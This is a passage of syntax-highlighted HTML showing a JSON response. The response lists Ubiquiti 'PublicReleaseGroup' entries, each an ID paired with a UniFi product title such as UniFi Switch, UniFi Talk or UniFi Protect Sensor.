style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"7326eb18-3436-486e-b728-5d1ba29d84d4"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Chimes"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f9756cb8-ab72-464a-a38a-2dcd04792129"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Floodlight"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"5e7853c3-7dd0-4c77-9314-88490ba34e9d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"006c4584-ee02-4c63-94c4-8f01de78073d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Sensor"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"7d247ee9-a886-43c4-9879-455517fd2f1c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Siren PoE"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"91e3292f-e55b-4409-bbec-e33772cd91c7"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect SuperLink"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"973da980-bdac-48fc-8663-1e5c0e31e9cb"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect SuperLink Entry Sensor"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b1f219c6-6a73-40fa-82d6-7737c2a8371b"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect SuperLink Environmental Sensor"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"9aff65a0-838a-4054-9b07-bb2089565314"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect SuperLink Motion Sensor"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"44df6256-1d01-41dd-bbf4-f5423466b831"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect tvOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"5ed28e7d-f2dd-4849-904f-f813cd609e40"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Viewport"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e499b715-6b34-46a2-b278-9ddd6c4d8305"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Security Gateway"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"856b8d10-8f7a-4cef-b55e-85d1d0ba9549"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Smart Power Plug/Strip"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f5882c6b-e77f-45c1-b019-68fd20000c31"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Switch"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e30ab5af-c07c-46b7-aba1-983f0f7b333d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Switch Flex Mini"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"fd4fa48f-752d-4499-bb74-11b3283d8310"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Switch Ultra/Flex-2.5G"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"327c4b1e-7f69-4c63-a4b8-315ba98f7b8f"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Talk"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"9ac08757-d169-4150-9c89-912e4aaebcdd"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Talk Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"17f1f5de-27e7-4bcf-83b8-772646cd71ec"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Talk Relay Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"13d88707-bf62-4c38-9524-8b88143c2a2c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Travel Router"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"90670833-03dd-4ff4-9114-b8e728491fa5"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi UPS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"c5aa817e-c7f1-401f-99c3-451d9054f194"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Verify Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"0a77f6a0-200e-4112-9596-496f6d2ab046"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Verify iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"4ebdd888-9049-4bdc-b91f-14b6ffdd756e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Video"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ec7c052a-c8a2-4a6b-912d-710805fa2d61"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"USW-Leaf"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"dd8df0a9-bf04-401d-9dfd-d41df511d589"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Wave"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"86bc31f8-1bc5-4e5f-ab1d-5a04c2df4b25"</span><span class="token punctuation" 